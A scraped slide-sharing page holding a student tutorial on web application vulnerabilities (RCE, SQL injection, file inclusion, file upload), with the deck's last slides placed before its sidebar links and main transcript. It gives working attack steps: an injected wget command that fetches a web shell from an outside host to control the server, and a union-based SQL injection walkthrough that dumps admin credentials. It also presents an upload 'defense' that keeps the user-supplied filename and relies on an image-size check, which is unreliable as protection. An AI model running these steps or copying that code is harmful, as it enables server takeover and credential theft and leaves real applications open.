 Upload huge files - file space denial of service
 Upload file using malicious path or name - overwrite critical file
 Upload file containing personal data - other users access it
 Upload file containing "tags" - tags get executed as part of being "included" in a web page
ARBITRARY FILE UPLOAD:
EXPLOITATION(Cont.)
 Attacks on other systems
 Upload .exe file into web tree - victims download trojaned executable
 Upload virus infected file - victims' machines infected
 Upload .html file containing script - victim experiences Cross-site Scripting
(XSS)
ARBITRARY FILE UPLOAD: DEFENSE
 The defense can be done by validate the uploaded files. Validate the uploaded files
including extension and size.
 Also, the checking of metadata will prevent some bypass techniques.
 Example:
<form method="POST" enctype="multipart/form-data">
<input type="file" name="ufile" />
<input type="submit" name="upl" value="UPLOAD" />
</form>
<?php
if(isset($_REQUEST['upl'])){
$check = getimagesize($_FILES["ufile"]["tmp_name"]);
if($check!=false){
if(move_uploaded_file($_FILES['ufile']['tmp_name'], $_FILES['ufile']['name'])){
ARBITRARY FILE UPLOAD: DEFENSE
(Cont.)
echo "You have uploaded: ".$_FILES['ufile']['name'];
}
}
else{
echo "Error: Upload images";
}
}
?>
 The above code checks the uploaded file is real image by reading the image size. If
image size is found, we can declare it is an image is going to upload.
 That means, only image can upload.
THE END…
PREPARED BY AJITH KP ( AJITHKP560@GMAIL.COM /
R00T3DINJ3CT0R@GMAIL.COM )

Weitere ähnliche Inhalte

Was ist angesagt?

OWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root CausesOWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root Causes
Marco Morana
 
Careto: Unmasking a New Level in APT-ware
Careto: Unmasking a New Level in APT-ware Careto: Unmasking a New Level in APT-ware
Careto: Unmasking a New Level in APT-ware
Lumension
 

Was ist angesagt? (20)

Sql injection bypassing hand book blackrose
Sql injection bypassing hand book blackroseSql injection bypassing hand book blackrose
Sql injection bypassing hand book blackrose
 
OWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root CausesOWASP Top 10 And Insecure Software Root Causes
OWASP Top 10 And Insecure Software Root Causes
 
T04505103106
T04505103106T04505103106
T04505103106
 
PROP - P ATRONAGE OF PHP W EB A PPLICATIONS
PROP - P ATRONAGE OF  PHP W EB  A PPLICATIONSPROP - P ATRONAGE OF  PHP W EB  A PPLICATIONS
PROP - P ATRONAGE OF PHP W EB A PPLICATIONS
 
vulnerability scanning and reporting tool
vulnerability scanning and reporting toolvulnerability scanning and reporting tool
vulnerability scanning and reporting tool
 
ieee
ieeeieee
ieee
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
Automated Detection of Session Fixation Vulnerabilities
Automated Detection of Session Fixation VulnerabilitiesAutomated Detection of Session Fixation Vulnerabilities
Automated Detection of Session Fixation Vulnerabilities
 
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
 
IRJET- Testing Web Application using Vulnerability Scan
IRJET- Testing Web Application using Vulnerability ScanIRJET- Testing Web Application using Vulnerability Scan
IRJET- Testing Web Application using Vulnerability Scan
 
Careto: Unmasking a New Level in APT-ware
Careto: Unmasking a New Level in APT-ware Careto: Unmasking a New Level in APT-ware
Careto: Unmasking a New Level in APT-ware
 
Sql injection
Sql injectionSql injection
Sql injection
 
Web security 2010
Web security 2010Web security 2010
Web security 2010
 
IRJET - SQL Injection: Attack & Mitigation
IRJET - SQL Injection: Attack & MitigationIRJET - SQL Injection: Attack & Mitigation
IRJET - SQL Injection: Attack & Mitigation
 
Security Tech Talk
Security Tech TalkSecurity Tech Talk
Security Tech Talk
 
Sql Injection
Sql InjectionSql Injection
Sql Injection
 
Attackers Vs Programmers
Attackers Vs ProgrammersAttackers Vs Programmers
Attackers Vs Programmers
 
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
Sania: Syntactic and Semantic Analysis for Automated Testing against SQL Inje...
 
Injection flaws
Injection flawsInjection flaws
Injection flaws
 
Effectiveness of AV in Detecting Web Application Backdoors
Effectiveness of AV in Detecting Web Application BackdoorsEffectiveness of AV in Detecting Web Application Backdoors
Effectiveness of AV in Detecting Web Application Backdoors
 

Andere mochten auch

Information Secuirty Vulnerability Management
Information Secuirty   Vulnerability ManagementInformation Secuirty   Vulnerability Management
Information Secuirty Vulnerability Management
tschraider
 
Analysis of Field Data on Web Security Vulnerabilities
Analysis of Field Data on Web Security VulnerabilitiesAnalysis of Field Data on Web Security Vulnerabilities
Analysis of Field Data on Web Security Vulnerabilities
KaashivInfoTech Company
 
Attributes based encryption with verifiable outsourced decryption
Attributes based encryption with verifiable outsourced decryptionAttributes based encryption with verifiable outsourced decryption
Attributes based encryption with verifiable outsourced decryption
KaashivInfoTech Company
 
Implementing Vulnerability Management
Implementing Vulnerability Management Implementing Vulnerability Management
Implementing Vulnerability Management
Argyle Executive Forum
 
data mining for security application
data mining for security applicationdata mining for security application
data mining for security application
bharatsvnit
 

Andere mochten auch (20)

Web Application Security Vulnerability Management Framework
Web Application Security Vulnerability Management FrameworkWeb Application Security Vulnerability Management Framework
Web Application Security Vulnerability Management Framework
 
2012 04 Analysis Techniques for Mobile OS Security
2012 04 Analysis Techniques for Mobile OS Security2012 04 Analysis Techniques for Mobile OS Security
2012 04 Analysis Techniques for Mobile OS Security
 
Positive Hack Days. Goltsev. Web Vulnerabilities: Difficult Cases
Positive Hack Days. Goltsev. Web Vulnerabilities: Difficult CasesPositive Hack Days. Goltsev. Web Vulnerabilities: Difficult Cases
Positive Hack Days. Goltsev. Web Vulnerabilities: Difficult Cases
 
Web Application Penetration Tests - Vulnerability Identification and Details ...
Web Application Penetration Tests - Vulnerability Identification and Details ...Web Application Penetration Tests - Vulnerability Identification and Details ...
Web Application Penetration Tests - Vulnerability Identification and Details ...
 
Information Secuirty Vulnerability Management
Information Secuirty   Vulnerability ManagementInformation Secuirty   Vulnerability Management
Information Secuirty Vulnerability Management
 
Web Security attacks and defense
Web Security attacks and defenseWeb Security attacks and defense
Web Security attacks and defense
 
Analysis of Field Data on Web Security Vulnerabilities
Analysis of Field Data on Web Security VulnerabilitiesAnalysis of Field Data on Web Security Vulnerabilities
Analysis of Field Data on Web Security Vulnerabilities
 
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
C Overflows Vulnerabilities Exploit Taxonomy And Evaluation on Static Analysi...
 
Analysis of field data on web security vulnerabilities
Analysis of field data on web security vulnerabilities Analysis of field data on web security vulnerabilities
Analysis of field data on web security vulnerabilities
 
Identifying Cross Site Scripting Vulnerabilities in Web Applications
Identifying Cross Site Scripting Vulnerabilities in Web ApplicationsIdentifying Cross Site Scripting Vulnerabilities in Web Applications
Identifying Cross Site Scripting Vulnerabilities in Web Applications
 
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникацииАрмия освобождения домохозяек: структура, состав вооружений, методы коммуникации
Армия освобождения домохозяек: структура, состав вооружений, методы коммуникации
 
A Study on Dynamic Detection of Web Application Vulnerabilities
A Study on Dynamic Detection of Web Application VulnerabilitiesA Study on Dynamic Detection of Web Application Vulnerabilities
A Study on Dynamic Detection of Web Application Vulnerabilities
 
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
Detecting Security Vulnerabilities in Web Applications Using Dynamic Analysis...
 
Discovering the Value of Verifying Web Application Security Using IBM Rationa...
Discovering the Value of Verifying Web Application Security Using IBM Rationa...Discovering the Value of Verifying Web Application Security Using IBM Rationa...
Discovering the Value of Verifying Web Application Security Using IBM Rationa...
 
No locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructureNo locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructure
 
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web AppsCODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
 
Attributes based encryption with verifiable outsourced decryption
Attributes based encryption with verifiable outsourced decryptionAttributes based encryption with verifiable outsourced decryption
Attributes based encryption with verifiable outsourced decryption
 
Vulnerability Management
Vulnerability ManagementVulnerability Management
Vulnerability Management
 
Implementing Vulnerability Management
Implementing Vulnerability Management Implementing Vulnerability Management
Implementing Vulnerability Management
 
data mining for security application
data mining for security applicationdata mining for security application
data mining for security application
 

Ähnlich wie WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

Encoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresEncoded Attacks And Countermeasures
Encoded Attacks And Countermeasures
Marco Morana
 

Ähnlich wie WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE (20)

Web Security
Web SecurityWeb Security
Web Security
 
Application Attacks & Application Layer Attacks
Application Attacks & Application Layer AttacksApplication Attacks & Application Layer Attacks
Application Attacks & Application Layer Attacks
 
Devoid Web Application From SQL Injection Attack
Devoid Web Application From SQL Injection AttackDevoid Web Application From SQL Injection Attack
Devoid Web Application From SQL Injection Attack
 
Sql injections (Basic bypass authentication)
Sql injections (Basic bypass authentication)Sql injections (Basic bypass authentication)
Sql injections (Basic bypass authentication)
 
Encoded Attacks And Countermeasures
Encoded Attacks And CountermeasuresEncoded Attacks And Countermeasures
Encoded Attacks And Countermeasures
 
Bank One App Sec Training
Bank One App Sec TrainingBank One App Sec Training
Bank One App Sec Training
 
Application Security Guide for Beginners
Application Security Guide for Beginners Application Security Guide for Beginners
Application Security Guide for Beginners
 
Web Hacking
Web HackingWeb Hacking
Web Hacking
 
React security vulnerabilities
React security vulnerabilitiesReact security vulnerabilities
React security vulnerabilities
 
E017131924
E017131924E017131924
E017131924
 
SQL Injection Prevention by Adaptive Algorithm
SQL Injection Prevention by Adaptive AlgorithmSQL Injection Prevention by Adaptive Algorithm
SQL Injection Prevention by Adaptive Algorithm
 
Cyber ppt
Cyber pptCyber ppt
Cyber ppt
 
Cyber security
Cyber securityCyber security
Cyber security
 
SeanRobertsThesis
SeanRobertsThesisSeanRobertsThesis
SeanRobertsThesis
 
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
 
Ceh v5 module 11 hacking webservers
Ceh v5 module 11 hacking webserversCeh v5 module 11 hacking webservers
Ceh v5 module 11 hacking webservers
 
OWASP Top 10 Project
OWASP Top 10 ProjectOWASP Top 10 Project
OWASP Top 10 Project
 
CEH Domain 5.pdf
CEH Domain 5.pdfCEH Domain 5.pdf
CEH Domain 5.pdf
 
Domain 5 of the CEH: Web Application Hacking
Domain 5 of the CEH: Web Application HackingDomain 5 of the CEH: Web Application Hacking
Domain 5 of the CEH: Web Application Hacking
 
Introduction of exploit on window XP & Trick
Introduction of exploit on window XP & Trick Introduction of exploit on window XP & Trick
Introduction of exploit on window XP & Trick
 

Kürzlich hochgeladen

Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
WSO2
 

Kürzlich hochgeladen (20)

Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
Apidays Singapore 2024 - Scalable LLM APIs for AI and Generative AI Applicati...
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
A Beginners Guide to Building a RAG App Using Open Source Milvus
A Beginners Guide to Building a RAG App Using Open Source MilvusA Beginners Guide to Building a RAG App Using Open Source Milvus
A Beginners Guide to Building a RAG App Using Open Source Milvus
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Ransomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfRansomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdf
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 

WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE

  • 1. WEB APPLICATION VULNERABILITIES: DAWN, DETECTION, EXPLOITATION AND DEFENSE PREPARED BY: AJITH KP, KUSIST MANGATTUPARAMBA, MCA (LAT)
  • 2. WEB APPLICATION VULNERABILITIES: INTRODUCTION  Web applications are popular software application types in which the client runs the application stored in server in his/her web browser.  A vulnerability is a weakness which allows an attacker to reduce a system's information assurance.  The most common reason behind vulnerability is developers focus only on productivity rather than quality and security.  Vulnerability allows hackers/crackers to control servers, access sensitive details, breach privacy of users, etc.
  • 3. WEB APPLICATION VULNERABILITIES: INTRODUCTION (Cont.)  Most common vulnerability found in web applications are,  Injection Vulnerabilities  Remote Command Execution (RCE)  SQL Injection (SQLi)  File Inclusion  Local File Inclusion (LFI)  Remote File Inclusion (RFI)  Cross Site Scripting (XSS)  Cross Site Request Forgery  Broken Authentication and Session Management  Insecure direct object reference  Unvalidated redirects and forwards  Arbitrary File Upload
  • 4. WEB APPLICATION VULNERABILITIES: INTRODUCTION (Cont.)  According to the survey of web application security firm Acunetix, the 60% of found vulnerabilities affects web applications.  According to the security vendor Cenzic, the top vulnerabilities in March 2012 include: Percentage Vulnerability 37% Cross-site scripting 16% SQL injection 5% Path disclosure 5% Denial-of-service attack 4% Arbitrary code execution 4% Memory corruption 4% Cross-site request forgery 5% File inclusion 3% Data breach (information disclosure) 16% Other, including code injection
  • 5. WEB APPLICATION VULNERABILITIES: INTRODUCTION (Cont.)  The most efficient way to detect and solve vulnerability is manual code review.  security society actively develops automated approaches to finding security vulnerabilities  But it is time consuming process and also require expert skills. So most of firms skips this step.  This leads the vulnerabilities unpatched, and cause breaching of security.
  • 6. WEB APPLICATION VULNERABILITIES: INTRODUCTION (Cont.)  Remote Exploit collection from 0day.today
  • 7. WEB APPLICATION VULNERABILITIES: INTRODUCTION (Cont.)  Local Exploit Collection from 0day.today
  • 8. WEB APPLICATION VULNERABILITIES: INTRODUCTION (Cont.)  Web Application Exploits collection from 0day.today
  • 9. WEB APPLICATION VULNERABILITIES: INTRODUCTION (Cont.)  DOS Exploit collections from 0day.today
  • 10. WEB APPLICATION VULNERABILITIES: INTRODUCTION (Cont.)  Shellcodes from 0day.today
  • 12. INJECTION VULNERABILITIES  Injection vulnerabilities are most dangerous vulnerability.  Injection flaws allow attackers to relay malicious code through an application to another system.  These attacks include calls to the operating system via system calls, the use of external programs via shell commands, as well as calls to backend databases via SQL.  Whole scripts written in PHP, Python, and other languages can be injected into poorly designed applications and executed.  Any time an application uses an interpreter of any type there is a danger of introducing an injection vulnerability.
  • 13. INJECTION VULNERABILITIES (Cont.)  Many web applications use operating system features and external programs to perform their functions.  When a web application passes information from an HTTP request through as part of an external request, it must be carefully scrubbed.  The attacker can inject special (meta) characters, malicious commands, or command modifiers into the information and the web application will blindly pass these on to the external system for execution.  Injection vulnerabilities can be very easy to discover and exploit, but they can also be extremely obscure.  The consequences of a successful injection attack can also run the entire range of severity, from trivial to complete system compromise or destruction.
  • 14. REMOTE CODE EXECUTION INJECT YOUR COMMAND/CODE
  • 15. REMOTE CODE EXECUTION  Remote Code Injection is the most dangerous and easiest to exploit among other injection vulnerabilities.  Also known as arbitrary code injection.  The RCE allows attacker to execute command/code in remote machines including operating system commands.
  • 16. REMOTE CODE EXECUTION: DAWN  The common reason behind the RCE vulnerability is executing unvalidated commands.  The application may execute command or code that are inserted using queries.  If the application is not designed to validate the commands inserted in queries, the hacker/cracker may inject their own command/code.  Execution of their command/code may cause the allowing unauthorized access to server to the hacker/cracker.
  • 17. REMOTE CODE EXECUTION: DAWN (Cont.)  The following program is an example of RCE vulnerable webpage.  The bellow webpage is RCE vulnerable because it read the name from query and uses as the argument for the command echo without proper validation. <?php $name = $_GET['name']; system("echo $name"); ?>
  • 18. REMOTE CODE EXECUTION: DAWN (Cont.)  Screenshot of vulnerable application.
  • 19. REMOTE CODE EXECUTION: DETECTION  Detection of RCE vulnerable webpage is very easy.  Just inject another command/code along with current or replace current command with new one.  If the webpage shows result of newly injected command/code we can conclude the webpage is vulnerable to RCE.
  • 21. REMOTE CODE EXECUTION: EXPLOIT  Like detecting RCE vulnerability, exploiting vulnerability is also very easy.  The exploitation can be done the same way we detected the RCE vulnerability.  That is, append the commands to the query.  It enables intruders to get unauthorized access to remote server which makes high risk.  Normally the hackers/crackers uses RATs to get full access on server.  Several server backdoors are available in Internet.  Most popular backdoors are: C99, Indrajith Mini Shell, b374k, Madspot shell, etc.
  • 22. REMOTE CODE EXECUTION: EXPLOIT (Cont.)  Here shows how the hacker downloads the Indrajith Mini Shell from https://packetstormsecurity.com.  The Indrajith Mini Shell is located at https://dl.packetstormsecurity.net/UNIX/penetration/rootkits/indrajith- 2.0.txt .  To download remote files, the command wget is used in Linux. Also it is available to Windows.  To download Indrajith Mini Shell, we can use command: wget https://dl.packetstormsecurity.net/UNIX/penetration/rootkits/indrajith-2.0.txt –O indr.php
  • 23. REMOTE CODE EXECUTION: EXPLOIT (Cont.)
  • 24. REMOTE CODE EXECUTION: EXPLOIT (Cont.)  After inject wget command.
  • 25. REMOTE CODE EXECUTION: EXPLOIT (Cont.)  After download complete, we can control the server using Indrajith Mini Shell RAT.
  • 26. REMOTE CODE EXECUTION: EXPLOIT (Cont.)  The defense against RCE vulnerability good programming approach.  Validate the queries before execute.  Try to avoid accepting command/code from queries maximum.
  • 27. SQL INJECTION INJECT YOUR OWN SQL QUERIES
  • 28. SQL INJECTION  SQLi allows intruder to execute SQL queries.  A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.  A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS),
  • 29. SQL INJECTION:DAWN  The reason behind SQLi is the developers careless coding.  SQL statements must be enclosed carefully, and otherwise the result will be SQLi. <?php $id = $_GET['id']; $conn = new mysqli("localhost", "root", "", "items"); $res = $conn->query("SELECT * FROM items WHERE id=$id;") or die(mysqli_error($conn)); if ($res->num_rows > 0) { while($r = $res->fetch_assoc()){ echo "Your name is ".$r['name']; } } $conn->close(); ?>
  • 30. SQL INJECTION:DAWN (Cont.)  The above code is vulnerable to SQLi because the developers is not validating the `id` query read from URL.  So, we can manipulate the `id` and insert new queries to it.  Here, the program uses query SELECT * FROM items WHERE id=1  The id is read from URL query.  If hacker/cracker append some query like, SELECT * FROM items WHERE id=1 union select 1,@@version the output will be look like bellow image.
  • 32. SQL INJECTION:DAWN (Cont.)  We have executed a new query along with desired query.  This is the mechanism where hacker/cracker uses in SQLi.
  • 33. SQL INJECTION:DETECTION (Cont.)  Like other injection flaws, SQLi is also easy to detect.  Make some errors in query and check what impact is it makes.  Eg. In above webpage the `id` is read from query and the type of `id` is integer, alter the query and append a single quote at the end.  If the webpage shows error like: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 we can conclude the webpage is vulnerable to SQLi.
  • 34. SQL INJECTION:EXPLOITATION (Cont.)  Exploiting SQLi not as easy like RCE.  We have several steps to extract data/insert data/update data.
  • 35. SQL INJECTION:EXPLOITATION STEP 1: COUNT NUMBER OF COLUMNS  To find number of columns we use statement ORDER BY which tells database how to order the result.  To count the columns just incrementing the number until we get an error.  http://www.site.com/sqli.php?id= 1 order by 1 /* <-- no error  http://www.site.com/sqli.php?id= 1 order by 2 /* <-- no error  http://www.site.com/sqli.php?id= 1 order by 3 /* <-- error (we get message like this Unknown column '3' in 'order clause' or something like that)  That means that it has 2 columns, because we got an error on 3.
  • 36. SQL INJECTION:EXPLOITATION STEP 2: FINDING VULNERABLE COLUMN  To find that, use query,  http://www.site.com/sqli.p hp?id=1 union select 1,2—  The webpage shows 2 because the webpage showing 2nd column data.
  • 37. SQL INJECTION:EXPLOITATION STEP 3: FINDING SQL SERVER VERSION AND DATABASE  To view which version of SQL server is using, replace `2` with version() or @@version  http://www.site.com/sqli.p hp?id=1 union select 1,@@version--
  • 38. SQL INJECTION:EXPLOITATION STEP 3: FINDING SQL SERVER VERSION AND DATABASE  To view which version of SQL server is using, replace `2` with database().  http://www.site.com/sqli. php?id=1 union select 1,database()--
  • 39. SQL INJECTION:EXPLOITATION STEP 4: LIST OUT ALL TABLES  To list out all tables bellow query is used.  http://www.site.com/sqli.php ?id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--  group_concat(): Return a concatenated string.
  • 40. SQL INJECTION:EXPLOITATION STEP 5: LIST OUT COLUMNS FROM SELECTED TABLE  Here, we have 2 tables: items and admin. The sensitive details may store in admin table. So, let’s dump admin table.  First step is get the column names of table admin. To get these details, the bellow query is used.  http://www.site.com/sqli.php?id =1 union select 1, group_concat(column_name) from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)–  The table name `admin` can be represent using ASCII value or hex value.  The output shows, admin table contains columns uid, uname and password.
  • 41. SQL INJECTION:EXPLOITATION STEP 6: DUMP DATA  Next step is dump data from table `admin`.  http://www.site.com/sqli.ph p?id=1 union select 1,group_concat(uid, 0x3a, uname, 0x3a, password,0x3b)+from+ad min—  The output shows that uid is 1, username is `ajithkp560` and password is `mypasswd`. So, we have successfully dumped the data from database.
  • 42. SQL INJECTION:EXPLOITATION STEP 6: DUMP DATA LIVE SAMPLE
  • 43. SQL INJECTION: DEFENSE  The defense for SQLi is good programming approaches.  The good programming approach is use prepared statements and parameterized queries.  These are SQL statements that are sent to and parsed by the database server separately from any parameters.  This way it is impossible for an attacker to inject malicious SQL queries.
  • 44. SQL INJECTION: DEFENSE Prepared Statements and Parameterized Queries  A prepared statement is a feature used to execute the same (or similar) SQL statements repeatedly with high efficiency.  Prepared statements basically work like this:  Prepare: An SQL statement template is created and sent to the database. Certain values are left unspecified, called parameters (labeled "?"). Example: INSERT INTO MyGuests VALUES(?, ?, ?)  The database parses, compiles, and performs query optimization on the SQL statement template, and stores the result without executing it  Execute: At a later time, the application binds the values to the parameters, and the database executes the statement. The application may execute the statement as many times as it wants with different values
  • 45. SQL INJECTION: DEFENSE Prepared Statements and Parameterized Queries  Compared to executing SQL statements directly, prepared statements have two main advantages:  Prepared statements reduces parsing time as the preparation on the query is done only once (although the statement is executed multiple times).  Bound parameters minimize bandwidth to the server as you need send only the parameters each time, and not the whole query.  Prepared statements are very useful against SQL injections, because parameter values, which are transmitted later using a different protocol, need not be correctly escaped.  If the original statement template is not derived from external input, SQL injection cannot occur.
  • 46. SQL INJECTION: DEFENSE Prepared Statements and Parameterized Queries  The secured version sample program is, <?php $id = $_GET['id']; $conn = new mysqli("localhost", "root", "", "items"); $st = $conn->prepare("SELECT * FROM items where id = ?"); $st->bind_param("i", $id); $st->execute(); $st->bind_result($id, $name); while($st->fetch()){ echo "Your name is $name"; } $conn->close(); ?>
  • 47. SQL INJECTION: DEFENSE Prepared Statements and Parameterized Queries  After secured using prepared statements, the error in SQL statement not makes any error messages in webpage.  That is SQLi bug is eliminated.
  • 49. FILE INCLUSION  File inclusion is another dangerous vulnerability in web applications which cause inclusion of intruder desired files such as RAT or sensitive files like /etc/passwd, /etc/shadow, etc.  The vulnerability occurs due to the use of user-supplied input without proper validation.  This can lead to something as minimal as outputting the contents of the file or more serious events such as:  Code execution on the web server.  Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS).  Denial of service (DoS).  Data theft/manipulation.
  • 50. FILE INCLUSION (Cont.)  The file inclusion have two types according to the file can be included.  Remote File Inclusion: Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation.  Local File Inclusion: Local File Inclusion (LFI) is similar to a Remote File Inclusion vulnerability except instead of including remote files, only local files i.e. files on the current server can be included. The vulnerability is also due to the use of user-supplied input without proper validation.
  • 51. FILE INCLUSION:DAWN  Like other injection flaws, the file inclusion vulnerability also arise due to improper development.  The developer should hide the details of including files from user.  The vulnerability occurs due to the use of user-supplied input without proper validation.  The file inclusion vulnerability is an example of insecure direct object reference  Eg. <?php $col = $_GET['color']; include($col); ?>
  • 52. FILE INCLUSION:DETECTION  File inclusion vulnerability can be detect using change the query value.  After altering the query value, the webpage shows some changes, we can declare it is vulnerable to file inclusion.
  • 53. FILE INCLUSION:DETECTION Before alter query value After alter query value
  • 54. FILE INCLUSION:EXPLOITATION  Like the detection, exploitation also very simple.  The exploitation can be done by including malicious webpages or sensitive file into vulnerable page.
  • 58. FILE INCLUSION:EXPLOITATION RFI Defense  To protect from RFI with simple way edit the php.ini file. Open php.ini in editor. Find allow_url_fopen and allow_url_include and change from on to off. It will resist the page from inclusion of remote page.  Next is editing of .htaccess in Apache server. .htaccess file is the configuration file of Apache server. RewriteEngine On RewriteBase / RewriteCond %{QUERY_STRING} ^.*=(ht)|(f)+(tp)+(://|s://)+.*(??)+ RewriteRule .* http://www.site.com [R,L]  The above .htaccess configuration will check the query string and if any `http://` or `ftp://` string found in query, redirect to http://www.site.com.  Validate the user queries. This is traditional defense mechanism. Validate the user inputs and if malicious query found, cancel the inclusion.
  • 59. FILE INCLUSION:EXPLOITATION LFI Defense  LFI protection can be achieved through good programming practices.  Avoid including files from queries will solve maximum.  Also provide a good verifying procedure to verify the queries from user.
